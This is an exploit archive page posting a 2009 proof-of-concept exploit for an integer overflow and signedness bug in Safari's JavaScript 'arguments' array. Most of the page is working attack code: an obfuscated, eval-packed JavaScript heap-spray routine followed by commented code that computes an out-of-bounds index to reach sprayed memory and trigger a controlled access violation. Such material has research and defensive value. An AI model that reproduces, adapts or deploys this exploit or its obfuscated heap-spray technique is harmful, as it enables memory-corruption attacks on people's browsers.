ignorance isn't always an option

Safari Array Integer Overflow Exploit

Safari Array Integer Overflow Exploit
Posted Jan 6, 2009
Authored by SkyLined

Safari array integer overflow proof of concept exploit.

tags | exploit, overflow, proof of concept
MD5 | dd9f8f395b56e7be0ccfd2abb77be20d

Safari Array Integer Overflow Exploit

Change Mirror Download
<BODY>
<CODE id="sploit status"></CODE>
<CODE id="heapspray status"></CODE>
<SCRIPT>

i=0;eval(unescape(("gÂ#MÂÂÂ#Âg#ÉÄÊÅ@ÅÑÅÅÅØÅÉÅÊÆ@gÑÜ@ÜÑÜÂÜ#ÜÄÜÅÜÆÜgÜØÜÉÜÊÜËÜÜÜMÜNÜßM@MÑMÂM#MÄMÅMÆMgMØMÉMÊMËMÜMMMNMßN@NÑNÂN#NÄNÅNÆNgNØNÉNÊNËNÜNMNNNßß@ßÑßÂß#ßÄßÅ߯ßgߨßÉßÊßËßÜßMßNßßÂÂ#ËÆÄ#MÂÂMÂgÄgÉg@ÆÅÆßÆÆÂØNgÂÉ#MßÄNg#MNØ#ËNØ#MÆÆÕÅÂ@M#ÅßßßgÄÂÜÆÅN#MÂÂÑÆÕÂÉÆÅ#MãÑ#ËMÂÂÑgÄÂÉgÄ#M#Á#Ð#\
Ëg #\
#M NgÂNÆ#ÆQÆ Ü\
ÆÜ ÂØgÄßÅÂÜgÄÂÉ#ËMÂg#N @\
#Ü ÆÅÂÉg##MÆNÆÕggÂ@ÄÑgÂgÂÆÑgÉ Â\
ØÆ ÅÂMg#N@ÂË#ÑÂÉÂNÆÊÆßMÊÂØÅÜÂÂ#@Ü Æ\
ÂË g##ËNMgÄgÅgÂÆ NÂ@g##ËgM#ËÆgÆÜ Å@#MgËÅÜÂÂ ÄMÅ#Ä É\
ÄÅ Â@#gÄ@ÄNÅÄÂ@#ÅÂN#Ñ߯NÑ#Áß g#ÑÜ#Ü#gMMÅÄ MÅ#ÄÉÄÅ Â@#gÄ@ÄNÅ Ä\
Â@ #ÆÂN#Ð߯NÑ#Æßg##Ü#Ü#gMNN#ÅÂN#ÑÄÊ NN#ÆÂN#ÐÄÊg M#ËÆÆÅ ÅÂÐ ßØ#ÂÂØgÄÂÜÆÅ Â\
Üg #N#MÆãMgÄ#ßgÄ#ÊNÑÄÄ#@ÄÄ#@ÄÄ#@ÄÄÜËÆÑßÉ g##Mg##ßg## ÊgËgMÜ ËßÊ#MÆ Åã߯Å#ÊÅÜÂÂÅÜÅÜ #\
@Å ÜÂÂÜËÜg#MNÑ#ÆÜ#Ü#ÜËÅØ#MNÑ#ÁÜ#Ü##ËÅÊ#MNÑã@ #ÑÜ##Ð#ÐÜË Mg#MÆ ÆæÑÆÜg#ÆÅÜ ËÆÉÅÉÜÂ#M# ÐgØ#Â#Ð Ü\
ËÆ ÉÅÑÜÂ#M#ÄÜËÆÉÅÑNßÅ#ÆÉgÊÆÅ#MãÂÜËMÑ#MÆNgÅÆÜÆÜÜ Ëg#Äܯ߯g#M ÅÜÂÂÅ ÜÂÂÜËg#Å#MØ #MÅÜÂÂÅ Ü\
 ÜËMÜ#MÆNgÅÆÜÆÜ#ËÆÉÜÜ ÂØÄ#ÆØgÂÆßÆMÆÅMÐgÜßË ÂØÄÆÆÉNMÆÆÆ ßgØM@ gÜßËÂØ Ä\
MÅ #ÄÉÄÅÂ@ÅÜÅÜÆÄÂË ÉßËgÜßËÅÆÜÊg#ÆÉÆ ßÆNÂØM@ÂØÅ#Æ ÁÆÆæ ÑgÂÆÉ Â\
Éß ËgÜßËÂØÄßg@ÜÊÆ ÑMÐgÜßËÂßMÅÂÄ#Ñ ÂÄ#ÂÂÄ#ãÂÄ#ÅÂÄ# ÄÂÄ#Æ ÜÆ#Ëg Â\
ÜÜ ÅÜÅÜÂØßËÅgMÊÆ ÄÆßggg#Â@ÂØÅËÅ N#ËÅMÂÊÂÉßËÂßMÅÂÄ#ÑÜÆ #ËÆN# MÆÉÜN Ä\
@ß @gÂ#ËÅ@#MÆgÆ ÜÅ@ÅËÆNÅM#ËMÂÅ @ÂÉÆÆÆßgÂÂØg#NÄ @MÊ @Å@ÂÉg ÄßÅÅ Ë\
g# NÄÅM#MÅ@ÅËg#N ÄÅMgÑMËÆßÂÜÆÑN#M MãMÆNÆÅggÂ@Ä ÆÅÅ ØÅÜÂÂÜM NÆÆÄ Æ\
ÅÅ ÂNÆãÆÑÆÜÆÜÂØ ÜMÂNÆßÅÄßÅÂÉÜÆ#ËMMÂNÆßÅ ÄßÅ#MgÄßÅ #ËMM NÆÆÄÆÅÅã MÆß# Ë\
g# ÆÅgÄÅÄÆÉÆMÆÅ ÆßgÅgÄÂØMMÂÜÆÑMNN ɯܯ߯ gMËÆ ßN#Â#g #ÄÜ Æ\
߯ gÂË#MÂ#g#Å#M ØNÉg#MØÂØÆßM NNÉg #MØM ËÆßN# Â#g# Å\
#M Ø#MÆßMßÅÜÅÜg ÄÂ߯gMÅNÅ N ÅNÅN ÅÜÆMß#ÜÂ߯gMÅ ÂÆÆÜ g\
Ä# ËÜÆÜN#ÜÄÂÅÂ# NÅÜÂÂ#Ë MÂÂ #MÑÂ ÉÂ# MÑ ÂNMÊÆNÜÊÄØÅÄÄMÄÜ#MÂ #g# Ä\
ÜÆ ߯gÂËÂ#g#Å#M Ø#ËgM NÉg#gÄ gÂMÊ ÆgÄÆÆÉ ÆÜÆÜMËÆßÂÜÆÑN #ÆÈ#MNÂÆ ãÆÅ Æ\
ÉÆ ÜÂØÆÑÂ߯ßN@ É#ËÆ Ä#MÅÜÂÂÅÜ Â Â#ËÆ Ü#MNÂÆ#ÆÕ ÆÉÆÜÂØNÂÆÜÆß ÆgÂØÆØ ÂË#ÑÂÉ ÂßN Æ\
ÜÆ ߯gÂØ#ÂÂÉÂÉ# ËÆ ÆÆßgÂÂØÆg#M ÆÜ#ËÆ g#N# M#Ð#ËÆgÂMÂM N#ÆÄÂË#M ÆÄ#ËMÂ ÆØÂÆNÂg@ÆßggÂØ #ÂÂÜ Æ\
g ÉÂÉÆÄÂË#MÆß# ËgMNMgÄgÅgÂÆN @ÆÄÜØ#@ ÂÜÆÑ MNÜËg#Ü ÄMËÆßN# Â#MÜ# MÆß#ËÜ ÑÅ#ÜÄMÊÆ gÂ@Æ Æ\
g ÆßÆMÂ@ÜÅÂ#Üg #ÉÜNÂ@gÄÆßÂ@ÜÅM Æ#ÉÜNÂNÜÆ #ËÜÑ ÅÜÅÜgÄ ÄÑg#g# gÅÆMM ÊÆg @ÆÑÆÄÆÄ NMg #\
g# Â@gÆÆÁgÂÆÉß ÜÆÉÆßÆNg#Â@Æß ÆÆÂÐ gÅg@Â@gÄÆ ßÂ@Ü ÅÂ#ÅØ# ÉßÑÂ@Æ ãÆÑgÅ g#Æ ÅÆÄÂÐÆÂ gÉ @\
ÆÆ gÂÆÑÆgÆMÆ ÅÆNgÄßܯɯ߯ NßÂg@N Mg@ÆÑNMß ØÂÜ# ÑMNNÉ g@NMg@ ÆÑNM ߨMË N#Æß#M Â#Å ß\
Åß g#gÄgÂMÊ ÆgÄÆÆÉÆÜÆÜ ØÂ#ßÊÂÜ MÉ É#ËÆÆÆßg ÂÂØÆ ÑÂÐMÊ @Â#ÆQß Ég#N #ÆØ #MÆ NÆÕgg @M#ÂØÆ ÑÂÉ #\
ËM ÂÆØÂÅ#Â# MãM#ÑÂÉgÄÆØ gÂÆßgg Â@ÆNÆ ÅggÂ@ÄÅ gÂg Æßg ØÅÜ ÄßÆÆ Ææg#Æ ÅgÄ g#Â@Æß ÆÆÂÐÆãÆ@g#Â@ÆM g\
Åg #gÄÂ@ÆÂÆ ÅÂÐÆÅgÆÆÅ ÆNÂÐÂØ ÆÆÆßgÅÆ NÆÄÂ@ß @ÆØ# ÉÂËÜÆ ÜÆ#ËÆÆ æßgÂ ÂØÆÄÂ@ MÊÂ@g# ÅËÆÑÅMN #ßÉ#Mg# Å\
ËÆ ÑÅMÅËÆÄ ÅM#ËÜÑÅÜÅ ÜgÄÄÉ ÆNg#ÜÊgÄ ÆÅÆÄß Mg#ÜÄ Â@Æ# ÆÐÂ@ß ÜÂ@Æ ßÆÆÆæg#ÆÅgÄ @ÜÅÆØÂNß ß#Ñã ÆÂÜ#Ä É\
ÜN #ÊÂ@ß@ ÆÄÜNÂNÜÆ# ËÆß#M ÆßÜØ#@ÂÜÂ ØÆØ#N #N#Ñ ÉÂÉÂË ßÉÂËÆ ßÜØÂ ØÆØ #N#N#ÑÂÉÂËßÉN@ÂÉ #ËM ÆßN@ #NM É\
N# ÆÉÄÅgØ Æ#ÆÕg#g# #MÆßN @ÂMMÉ#ËÆß #MÆßÜ ØMÉ ÉÂËÆ ßÜØÆÉ ÄÅg ØÆ#Æ Õg#g#ÂÜ MÉM NgMg M\
NÆ #ÆãÄÄË @ÆÂß#ÆËß@ÂØÂ#ÆÁ ßÉg##ßÅÜ ÂÂ@g gÆÉg ÄÆØÂ @MÊg# ÜÊg ÄÆÅ ÆÄ Â@Æã Æ@g# M\
ÄÅ ÜÂÂÜÆÜN NÜÆÜËg#ÜÉ#MÆßÜ ËÆÑg#ÅÉ#M ÅËÅM ÜËÆÉÜ Ég# #Mã@ ÜËÜ ß#M# ÐÜË ÆÉ g#M #\
Üg gÑ ÂØÂ#ÅßÅ߯ #NMßÜÆÅߨÅÑÂÜ#Ñ MNNÉÆ#NMß ÜÆÅß ØÅÑMË N# M Â#g #ÜÉN @#ÜÅ ÊÂß #ÂN# #\
g# ÜÉÂË#M Â#g#ÜÉgÑ ØÜMÂÜ#ÑMNÆÅÆÜg#ÆÅ gËNÆÜÅÅÊ #Éß ÑÂ@Æ Âß# ÆËÂ@Æ Ææßg ßMg #ÜÄMÊ Æ\
gß Âg#ÜÄÅÉÂÜ# ÑMNgMNÉg#Ü ÄÅÉMËN #MÂÂ#Mg #ßßNÂg#N#MMÆ ÂMÂãÅ Ø#Ê ßNÂg#Ü#M MÆÂËÂ#ÅØ N#N Ê#MÂØ ß\
NÅ ÉÜÂÂËßNÅÑÜÂÂÉÂß #Â#ËÆÉNßÄÜ Ü@#MÂØß NÅÑNßÅ #ÆÉgÊÆÅ ÂÉÂß# Â#Ëg# Âg# MÂ#Mg#ßNËÂMÂ#ÅØÂ É#É# ÊNËÂË #\
ÅØ ÂÉ#ÉÜËÆÑg#ÅÉÅËg#ÂgÅM #Mg#ÂgÂËÂ# g#ÜÉÜØ NÊÂËg# ÂgN@ ÂÜÅÊ ß#ÂÂMÂØNÊÂËÆÉNßÄÜÜ@ÂÉÂMg#Âg N@ ÉÜËÆÉÜÉg#ÂËÂËÜ ËÜß Ë#MÅÊ Ü\
ËÆ ÉÂgÂË#MÂ#Mg#ßÂM ÅÊ#ÊÅÊNÉg# MØÂØÅÜ ÂÂÅÜÅÜg ÄÄÑ ÆÜß#ß ÜÆÅÆÄÂ@ß@ßNÜÉg#ÜNßMÆÂß#ÆËg#Â@ÂØß@Â#ÜßÂNßß ÉßÑ ÂÉÂ@gÄÆßÂ@g #ÜÄ @gNÜÅ #\
Üg #ÉÜNÂMÜÅÂØßN gÂËÂ#ÅØÂÉ#É ÜNßÂg #ÜÄÅÉÂÜ# ÑMN ÆÅÆÜg#ÆÅgËÜÑÄ#ÆßÆÜÆÜÆÅ ÆãgÄMÊÆgÂ@ÆgÆ Ñg ÆÂÆÁÆgÆÅ Ü Æ#ËM gÄgÉg@ Æ\
ÅÆ ߯ÆÂØNÜÂÉÂÑß ÄNÜÂØÂÉ#ËM ggMÊÆ ÄÆßggÂNÆ gÆ# ÂÉggMÊÆÄÆßggÂNÆg Æ#ÂØÂÉ#ËÜ ÑÅÉÂ@g#ÜÄ @ÆÄ Æ ßÆNÆÅ NÜÆÜËMÜ Â\
ØÆ ßߨMN#ËgMgM #gÄßÅÂNÂgÄÑ ÆÄÆÄN Mg#g##ÉÂN ßß# ÑãÆÂÜ#ØÂÉÄÊß Æ#ÐgØ#gÄÆßg#ÑÜ#Ü #MÅMgMÄ gÄ gÂgÅÆÅM ÅÆÉÅÉÜ M\
Ä# @MÅÆÉÅÑÜÂMÄ# @gMÅ@ÆÜÅ#gÉg #gÄÆ ÅÆMÅãg@ÆÅÆ ãÆÉ ÆÆÆÉÆãNÄg #ÅÑÅãgÄgÂMÊÆgÅÅgÅÆNÆ #gÄ ÆÉÆßÆNÅ ØÆÉ ÅÆÆÁgÂÆÉÆÑÆ NÆãÆÅÅÉÄ Ø\
ÆÅ ÆÁg@ÅÊßNÄÂß# ÆËÅ#ÆÉgÊÆÅÆ ÐÆßÆM g@ÆßÆNÆÅÆN gÄgÑ ÜËg#ÆÅ gÄÅÄÆÉÆMÆÅÆßgÅgÄÜ@ÆÅÆNÆ ggÄ ÆØÜÑÂ#Åß Å߯ܯ ߯gÂØÅÜÂÂÜÂÄØÆÅÆÁÆÄÜÊ Å\
#Æ ÉgÊÆÅÜ##Ð#Ð# ÐÜÄg@gÂÆÑgÉ ÜÅ#@ gØß@ÜÆÅÜÂÂÂÉ ÜgÆÉ Å#g ÄÆÑg gÄÂgÜØÂNg#gÅÆ Âg#g ÄgÂÂØÜÉÅÉÄ Âß#ÆËÜÊÆ ÅgÂÜË#ËÂ#ÜÜ#MÆNÆÁgÆ Æ\
ÉÆ gßÜÆßgÂÂNgÅg# ÜÊÄÑÆgÆÅÆNgÄ MßßË ÜMÆÑgÂÆggÅÆMÆÅÆNg Äg# NÆ#ÆQ ÆÜÆÜÆÅÆÅÜNÂË ÅÜ Ü߯ÉÄÂgÉgÄÆÅg#ÄÑÆÜß#ßÜÆ ÅÆÄM@ÅÜÅÜÂßÅÜÅÜ Æ\
Ä ËÂÉßËMÑÆßÄßgÅgÄ g@gÅgÄÄÅÆÜÆÅ ÆMÆÕ ÆNgÄMÂÆÉÆÆÂØ M#ÄN gÅÆMÆ ÂÜÊMÄÅÜÂÂ#ÊMÅ ÂÜÅÜÂÂM ÆßNÅÄÆÑgÂÆgÆÅgÄÂgMg ÆÂÅÂÆÅgÆ Ü\
Êg #ÆÅMØgÄßÜgÅg#MÉ#@gØ# ÑÜ##ÐÂß#ÂMÊÆÉÆNMË #MÆÆ ÕÅÂØMÜÆ ÆÄÄÆß ÆNÆ ÅÄØÆÑÆNÆÄÆÜÜÊMMÆÆÅggÂÆ Ñg@g@ÜÊMNÂÉ#ËgM M\
ß NNMg@ÆÜÆÑÆãÆÅÂØÂßN@ÂNÆÜÜ@NÑ#ÐgØ#@NÂÄMß ÜÆØ ÂN N#ÂÉ gËNÄÅ#ÆÅgÄgÄMÊÆgNÅÂ ÆÆNÆÂg#g@#Ë N\
ÆÜ ÑÅÜÅÜgÄÄ#NMßÜÆÅÆÄÂ@ÆßÆNÆÅ Â@Ng M#Åß ÆßÆÜÆÄÅÄÆßÅÑNØ M#ÂNg@gÂÆ ß\
gÄ ÆßgÄgÉg@ÆÅÂN gÄÆ ßÅÑNÉ ÜËÅßÅßN ÊÆÉÄØ Æ\
ÅÆ ÁÆÄÜÊ ÄÜÜ @\
NË ÅÜÂÂÜ Å ß\
NÂ g#ÉÜNg N\
ÜÅ ÂØßNÂg N\
ÜÄ #ÆßÆÜÆ Ü\
ÆÅ ÆãgÄÄgÆ Ñ\
g ÆÂÆÁÆgÆÅ N\
Mg ÂÆÅNNMÅÅ# Æ\
ÁÆ ÆæÑgÂÆÉÂß## Ä\
@Ä NÅÄÂ@NßÄÆÆß ÆßgÄÜÊß@ÅÜ Â\
Ëß ÑÜNÂ@ÆÂgÉgÄÆÅg#ßÂÂNÜÆg ÑÂØÂ#ÅßÅßß#ÆÜÆßÆ #\
ßÄ #MÅÜÂÂgÅÆ NÆÄÆÅÆÆmÊÆÅÆÄÜÆßÅÆØÆÉg#߯MÄgËÅÜÂÂÜgMÄßg Ü\
#Ü #MÅÅ ØMÄNÑߨÅÉÅ#ÜÄßÉg#Ä#ÆÐßÊg#ÄÂÆÑÆã Æ\
ËÆ gg ÂÆßgÅÆNÆÄßËÂNÂÊßÜÆÑgÄßM Â\
@Æ Ø ÆÅÆÁg@Â@ßNÂ#ÆÉß ß\
gÄ Æ\
ßÅÑÂØÂÂ#ËÆÆÆßgÂÂØÆ#ãM#g#ÆãËÆ#ÂMÂMãËÆÄ#MÂØgÄ#MÆÄÂNg#g@ÆÜÆÉgÄÂØgÂÂNÆ#ÆÈÆÁgÂÄÑgÄÂØÆ#ÂÉÂÉÂÉÂNÆÊÆßÆÉÆNÂØgÄÂNg@Æßg@ÂØÂÉÂÉÂÉ#ËÆÅgÆÆÁÆÜÂØÆÄÂÉ#ËÂßÂßÂMÆ#ÂÄ#Ë#ãÅÊ#Ñ").replace(/./g,function(c){return" `'^*\\/|-_.swdibYPW,".indexOf(c)<0?(i++%2?'':'%')+(c.charCodeAt()&15).toString(16):''})))

// The index for the "arguments" array in a JavaScript function in
// Safari suffers from a signedness issue that allows access to elements
// that are out of bounds. The index is cast to a signed value before it
// is compared to the length of the array to check if it within the
// bounds. Integer values larger than 0x8000,0000 will be cast to a
// negative value and because they are always smaller then the length,
// they are treated as a valid index.
// The index into the arguments array ends up in instructions
// that multiply it by 4 to access data in an array of 32 bit values.
// There are no checks for overflows in this calculation. This allows us
// to cause it to access anything in memory:
// Pointer to object = base address + 4 * index
// The base address varies only slightly and is normally about
// 0x7FEx,xxxx. If we create a heap chunk of 0x0100,0000 bytes at a
// predictable location using heap spraying, we can then calculate an
// index that will access this memory.
var iBase = 0x7fe91e6c; // Random sample - value varies but not a lot.
var iTargetArea = 0x10000000;
// Be advised that heap spraying is "upside down" in Safari: strings
// are allocated at high addresses first and as the heap grows, the
// addresses go down. The heap will therefor grow in between a lot of
// DLLs which reside in this area of the address space as well.
// We'll need to find an area of memory to spray that is not likely to
// contain a DLL and easy to reach.
var iTargetAddress = 0x55555555;
// iTargetAddress(~0x5555,5555) = iBase(~0x7FEx,xxxx) + 4 * iIndex
// 4 * iIndex = (iTargetAddress - iBase) (optionally + 0x1,0000,0000 because an integer overflow is needed)
var iRequiredMultiplicationResult = iTargetAddress - iBase + (iTargetAddress < iBase ? 0x100000000 : 0)
// iIndex = (iTargetAddress - iBase) / 4
var iIndex = Math.floor(iRequiredMultiplicationResult / 4)
// We need to trigger the signedness issue so the index must be larger
// then 0x8000,0000. Because of the integer overflow in the
// multiplication, we can safely add 0x4000,0000 as often as we want;
// the multiplication will remove it from the result.
while (iIndex < 0x80000000) iIndex += 0x40000000
document.getElementById("sploit status").innerHTML = (
"iBase + 4 * iIndex = " +
"0x" + iBase.toString(16, 8) + " + 4 * " + iIndex.toString(16, 8) + " = " +
"0x" + (iBase + 4 * iIndex).toString(16, 8) + "<BR>"
);
// Set up heap spray
var oHeapSpray = new HeapSpray2(iTargetAddress, DWORD(0xDEADBEEF))
oHeapSpray.oOutputElement = document.getElementById("heapspray status")
// Spray heap asynchronously and call sploit when done.
oHeapSpray.spray(sploit)
function sploit(oHeapSpray) {
// This will cause an access violation using the value 0xDEADBEEF,
// which comes from the strings we sprayed the heap with.
// 6aa3d57f 8b4f0c mov ecx,dword ptr [edi+0Ch] ds:0023:deadbefb=????????
arguments[iIndex];
}
function DWORD(iValue) {
return String.fromCharCode(iValue & 0xFFFF, iValue >> 16)
}
</SCRIPT>
</BODY>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close